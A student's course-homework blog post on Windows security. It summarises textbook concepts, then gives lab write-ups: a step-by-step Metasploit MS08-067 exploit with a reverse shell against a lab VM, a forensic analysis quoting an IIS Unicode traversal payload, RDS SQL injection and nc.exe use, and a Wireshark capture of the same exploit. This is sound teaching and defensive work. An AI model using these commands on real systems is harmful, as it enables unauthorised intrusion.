20199315 2019-2020-2 《网络攻防实践》第7周作业
前言
这个作业属于哪个课程:https://edu.cnblogs.com/campus/besti/19attackdefense
这个作业的要求在哪里:https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10612
我在这个课程的目标是:学习网络攻防相关知识,提升专业技能
这个作业在哪个具体方面帮助我实现目标:学习了解Windows操作系统安全攻防
知识点梳理与总结————《网络攻防技术与实践》教材第七章(P224)
Windows操作系统基本框架概述
Windows操作系统的基本结构如图7-2所示,分为运行于处理器特权模式(ring0) 的操作系统内核,以及运行在处理器非特权模式(ring 3)的用户空间代码。Windows 与包括UNIX在内的现有大多数商业操作系统一样,采用宏内核( monolithic)模式来进行架构,即大量的内核模块与设备驱动程序共享内核态内存空间,这使得任意的内核模块或设备驱动程序都可能破坏其他内核模块数据,这种宏内核机制也使得Windows操作系统容易遭受以驱动方式植入内核的Rootkit 的危害,为了避免这类攻击,最新的Windows7缺省要求所
windows操作系统内核基本模块包含:
组件 | 说明 |
---|---|
windows执行体 | 包含基本的操作系统服务,如内存管理,进程和线程管理,安全性,I/O,网络,跨进程通信 |
windows内核 | 是由一组底层的操作系统功能构成,如线程调度,终端和异常处理分发。以及处理器同步。提供了一组例程和基础对象。执行体的其他部分利用这些例程和对象实现更高层次的功能 |
设备驱动程序 | 硬件设备驱动程序,也包含文件系统和网络驱动程序。其中硬件设备驱动程序将用户的I/O函数调用转化为特定的硬件设备请求 |
硬件抽象层 | 指一层特殊代码,它把内核,设备驱动程序和windows执行体其他部分跟与平台相关的硬件差异隔离开来 |
窗口和图形系统 | 实现了图形用户界面函数 |
Windows操作系统在用户态的代码模块则包括:
组件 | 说明 |
---|---|
系统支持进程 | Windows 开机自动启动的系统内建服务进程,如负责登录用户身份认证的logon进程、会话管理进程等 |
环境子系统服务进程 | 为操作系统运行环境提供支持的服务进程,Windows XP只支持Windows环境子系统,而符合POSIX标准的环境子系统则作为UNIX产品的免费服务所提供 |
服务进程 | 通过Windows的服务管理机制所启动的一系列系统及网络服务,如TaskScheduler任务管理器服务,Microsoft SQL Server网络服务等 |
用户应用软件 | 在用户态执行的各类用户应用软件 |
核心子系统DLL | 即kernel32 dl/user32 dll/gdi32.I/advapi32.dll等动态连接库文件,作为用户态服务进程与应用软件和操作系统内核的交互接口,将用户态程序调用的系统API函数映射到相应的-一个或多个Windows内部的系统服务调用 |
windows进程和线程管理机制
进程可以看作是windows子系统的执行对象,可执行程序运行时的容器
windows内存管理机制
对于32位Windows系统而言,2GB-4GB区间为系统核心内存,0GB-2GB区间为用户态内存。
系统核心内存用于映射内核、HAL、Win32k.sys等内核执行模块,并存储内核内存对象,对于用户态程序是无法直接访问的,但对于在内核中运行的特权代码,则可通过DKOM技术来进行枚举和操纵。
用户态内存中包含用户程序的代码段、数据段,并对每个线程对应有一个栈和一个堆。
windows文件管理机制
windows下使用NTFS文件结构。NTFS文件系统基于ACL访问控制列表来保证文件资源读/写的安全性,较FAT更加安全,此外具有更高的性能、可靠性和磁盘利用效率。
windows使用
PE
格式的可执行文件,主要分为Dos头、PE头、分段表、以及具体的代码段和数据段等格式。
windows注册表管理机制
注册表被称为Windows操作系统的核心,它的工作原理实质是一个庞大的数据库,存放了关于计算机硬件的配置信息、系统和应用软件的初始化信息、应用软件和文档文件的关联关系、硬件设备的说明以及各种状态信息和数据,包括Windows操作时不断引用的信息。
注册表有五个一级分支,下面是这五个分支的名称及作用:
名称 | 作用 |
---|---|
HKEY_CLASSES_ROOT | 存储Windows可识别的文件类型的详细列表,以及相关联的程序。 |
HKEY_CURRENT_USER | 存储当前用户设置的信息。 |
HKEY_LOCAL_MACHINE | 包括安装在计算机上的硬件和软件的信息。 |
HKEY_USERS | 包含使用计算机的用户的信息。 |
HKEY_CURRENT_CONFIG | 这个分支包含计算机当前的硬件配置信息。 |
windows网络机制
windows下不同层次网络组件的功能:
不同网络层组件 | 介绍 |
---|---|
网卡硬件设备驱动程序 | 物理层,厂商提供 |
NDIS库及mimiport驱动 | 数据链路层,使得协议驱动程序可以以一种与设备无关的方式来跟网络适配器驱动程序进行通信 |
TDI | 传输层,将网络请求格式化成IRP,以及申请网络地址和数据通信 |
网络API DLL及TDI客户端 | 会话层和表示层,独立于具体协议提供网络交互和实现方式 |
网络应用服务程序与服务进程 | 应用层,各种网络API DLL,来实现网络交互和通信功能。 |
Windows操作系统的安全体系结构与机制
Windows安全体系结构
Windows操作系统基于引用监控器模型来实现基本的对象安全模型。其最核心的是位于内核的SRM安全引用监视器,以及位于用户态的LSASS安全服务,并与winlogin、eventlog等相关服务一起实现身份认证机制。
Windows身份认证机制
Windows系统中以安全主体概念来包含所有进行系统资源访问请求的实体对象,有用户、用户组和计算机三大类,对于每个安全主体,以时间和空间上都全局唯一的SID安全标识符来进行标识。
Windows为每个用户和计算机设置账户进行管理,作为这些安全主体运行程序代码的执行环境,而账户权限的根本作用就是限制这些账户内运行程序对系统资源对象的访问。
Windows授权与访问控制机制
Windows对于系统中所有需保护的资源都抽象成对象,具体类型包括文件、目录、注册表键值、内核对象、同步对象、私有对象、管道、内存、通信接口等,而对每个对象会关联一个SD安全描述符,对象安全描述符由如下主要属性组成
属性 | 作用 |
---|---|
Owner SID | 对象所有者的SID安全标识符 |
Group SID | 对象所在基本用户组的SID安全标识符 |
DACL自主访问控制列表 | 指明了哪些安全主体可以何种方式来访问该对象 |
SACL系统审计访问控制列表 | 指明了由哪些主体发起的哪些访问操作需要被审计 |
Windows安全审计机制
LSAS服务将保存审计策略,在对象安全描述符中的SACL列表中进行保存
安全中心还具有防火墙、补丁自动更新、病毒防护机制
IPSec加密与验证机制、EFS加密文件系统、windows文件保护机制等
Windows远程安全攻防技术
Windows远程攻击技术的分类
远程口令猜测与破解攻击
攻击Windows网络服务
攻击Windows客户端及用户
针对特定目标的渗透测试攻击过程
漏洞扫描测试
查找针对发现漏洞的渗透代码
实施渗透测试
使用Metasploit软件实施渗透测试
Metasploit软件采用开发框架和模块组件的可扩展模型
模块组件是真正实施渗透攻击的代码,包括:
模块 | 作用
Exploits | 利用安全漏洞
Auxiliary | 进行扫描、查点等其他辅助任务
Payloads | 在目标系统上植入和运行Shellcode攻击负载
Encoders | 对攻击负载进行编码以躲避检测
Nops | 对攻击负载进行填充
Windows本地安全攻防技术
windows本地特权提升
溢出提权、windows错误系统配置、计划任务提权
措施:及时打补丁、及时跟进厂家的安全警告
windows敏感信息窃取
windows系统口令字密文提取技术、windows系统口令字破解技术、用户敏感信息窃取等
措施:使用安全度高、能抵挡破解的口令
windows消灭踪迹
关闭审计功能、清理事件日志
措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中
远程控制与后门
向受控主机中植入第三方的远程控制与后门程序
措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序
实践
使用到的虚拟机镜像
镜像名称 | 用户名 | 密码 | su/su - 提权密码 | IP地址 |
---|---|---|---|---|
kali | kali | kali | kali | 192.168.200.2 |
win2kServer | administrator | mima1234 | - | 192.168.200.124 |
提前打开了蜜罐,有备无患。su -
,tcpdump -i eth0 icmp
Metasploit Windows Attack
任务:使用Metasploit软件进行Windows远程渗透攻击实验。
具体任务内容:使用Windows Attacker/BT4攻击机尝试对Windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机访问权。
实践步骤:
启动metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb 之一;
使用exploit: windows/smb/ms08_ 067 netapi 渗透攻击模块;
选择攻击PAYLOAD为远程shell,( 正向或反向连接均可);
设置渗透攻击参数(RHOST, LHOST, TARGET等);
执行渗透攻击;
查看是否正确得到远程Shell,并查看获得的权限。
首先确认kali和win2k可以互相ping通
在kali打开metasploit
(不知道这个图案是什么意思 每次还不一样……)
搜索ms08_067漏洞search ms08_067
,会显示出找到的渗透模块
这是针对这个漏洞的渗透攻击模块
use exploit/windows/smb/ms08_067_netapi
进入该漏洞模块的使用
show payloads
会显示出有效的攻击载荷,依此选择攻击负载模块
其中,命令show targets
会显示出可以被攻击的靶机的操作系统型号
选择3,反向连接tcp,shell_reverse_tcp,set PAYLOAD 3
,设置攻击有效载荷
然后show options
,显示我们需要在攻击前需要设置的数据
按照靶机RHOST,攻击机LHOST的原则配置IP
set RHOST 192.168.200.124
set LHOST 192.168.200.2
使用命令show options
再次查看payload状态
设置目标操作系统平台类型,set TARGET 0
,0代表自动匹配
输入exploit
开始攻击(这一步可能得耐心等会)(在攻击之前,推荐先去看眼第三个实践!!!把wireshark打开再回车!!!)
在kali上执行ipconfig/all
得到如下图所示,查询到了靶机的IP
在win2000上执行同样的命令,与攻击机结果对比,得到攻击成功的验证
取证分析实践:解码一次成功的NT系统破解攻击。
来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106 (主机名为: lab.wiretrip.net), 这是一次非常典型的针对NT系统的攻击,而且我们有理由相信攻击者最终识别了蜜罐主机,因此这将是一个非常有趣的案例分析挑战。
你的分析数据源只有包含整个攻击过程的二进制记录文件,而你的任务就是从这个文件中提取并分析攻击的全部过程。
攻击者使用了什么破解工具进行攻击?
攻击者如何使用这个破解工具进入并控制了系统?
当攻击者获得系统的访问权后做了什么?
我们如何防止这样的攻击?
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
用本机的wireshark打开云班课老师上传的snort-0204@0117.log
文件
发现日志文件由以下内容组成:
-
可识别的HTTP协议内容
-
可识别的SQL语言代码内容
-
可识别的系统操作代码内容
-
不可识别的数据(二进制数据)
使用wireshark自带的统计工具,统计
-http
-请求
访问网页的时候,会从网页服务器下载很多文件到本地,lab.wiretrip.net
部分应该是这次的攻击代码了,而其他的都是一些gif图片
设置限定条件为:ip.addr==172.16.1.106 and http
。
编号为117的这一行/guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini
其中boot.ini
是NT系统的启动文件,..%c0af..
是"/"的Unicode编码。这是IIS存在的一个漏洞。说明攻击者通过IIS Unicode漏洞了解了被攻击主机操作系统的一些基本情况
再往下,可以看到攻击者试图向服务器获取一个msadcs.dll
文件
攻击者利用这个dll存在RDS漏洞,输入了个数据查询语句进行SQL注入攻击。根据ADM!ROX..以及那个mdb。我们可以通过谷歌查询到它是通过rain forest puppy编写的msadc(2).pl渗透攻击代码发起的。
然后攻击者就成功进入了系统。往下拉,可以看到到下图所示位置,发生了变化。攻击者建立了一个ftp连接。输入了用户名密码,下载了几个文件。
然后攻击者连接6969端口,获得了访问权限
从1369编号开始,攻击机发起了多次SQL注入攻击,通过修改用户名和口令的方式完成了利用FTP进行网络攻击工具软件nc.exe的注入操作。
然后在编号2339,右键追踪http流,我们可以看到,根据add,他应该是想提升权限
针对相关问题的回答
攻击者使用了什么破解工具进行攻击?
口令破解工具和nc.exe来实现对目标主机的攻击。Nc.exe:完成远程主机连接等工作。
攻击者如何使用这个破解工具进入并控制了系统?
Nc.exe:完成远程主机连接后,利用telnet操作实现对操作系统的控制。
当攻击者获得系统的访问权后做了什么?
对目标主机的文件系统进行了嗅探。
尝试在根目录下创建rdisk,但是没有成功。
并试图通过删除SAM数据库中的数据(拷贝和删除har.txt)和将自己加到管理员组中的方式来实现提升自己访问权限的目的。
还试图在其它端口(6969)上运行nc。
我们如何防止这样的攻击?
到微软官方网站下载针对上述漏洞的补丁
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
攻击者应该意识到了其攻击的是蜜罐主机。
团队对抗实践: Windows系统远程渗透攻击与分析
攻防对抗实践内容:攻击方Metasploit Windows Attack,防御方: wireshark 捕获攻击流,分析出攻击哪个安全漏洞,从官方网站上下载该安全漏洞补J进行修补,给出攻防过程报告。
攻击方:使用metasploit, 选择metasploitable中的漏洞进行渗透攻击,获得控制权。
防守方:使用tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,并结合wireshark/snort分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击利用漏洞、攻击使用shellcode,以及攻击成功之后在本地执行的命令输入等信息。
以下是重复实践1,使用攻击命令exploit
的内容
打开metasploit
search ms08_067
,搜索ms08_067漏洞
use exploit/windows/smb/ms08_067_netapi
,进入该漏洞模块的使用
show payloads
,显示出有效的攻击载荷
set PAYLOAD 3
,设置攻击有效载荷
show options
,显示我们需要在攻击前需要设置的数据按照靶机RHOST,攻击机LHOST的原则配置IP
set RHOST 192.168.200.124
set LHOST 192.168.200.2
show options
,再次查看payload状态
set TARGET 0
,设置目标操作系统平台类型
以上是重复实践1,使用攻击命令exploit
的内容
打开wireshark,再使用攻击命令exploit
可以看出攻击者ip地址192.168.200.2
,端口34869
,靶机ip地址192.168.200.124
,端口445
等信息
攻击发起时间,从第一个ARP请求开始
1/4/5三个数据包是tcp三次握手包,建立连接后,从下图中我们发现攻击机向靶机发了许多SMB协议包(如6)
MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的。所以据此可以推断出,是利用这个漏洞攻击的
然后这时候我们在攻击机输入ipconfig/all
命令,会显示如下结果
可以从发的包的数据部分发现我们刚刚输入的指令
遇到的问题
- 问题1:实验1攻击后迟迟没有反应
- 解决:回车下就好了
思考感悟
这周实验操作挺容易的,重在对语句、文件的分析。尤其是实验2,需要充分研究云班课上老师上传的资源视频文件。也希望老师能在课上讲一下_(:з」∠)_
参考资料
此为本人网络攻防学习第七周的内容,如有不足,还请批评指正,不胜感激。
以上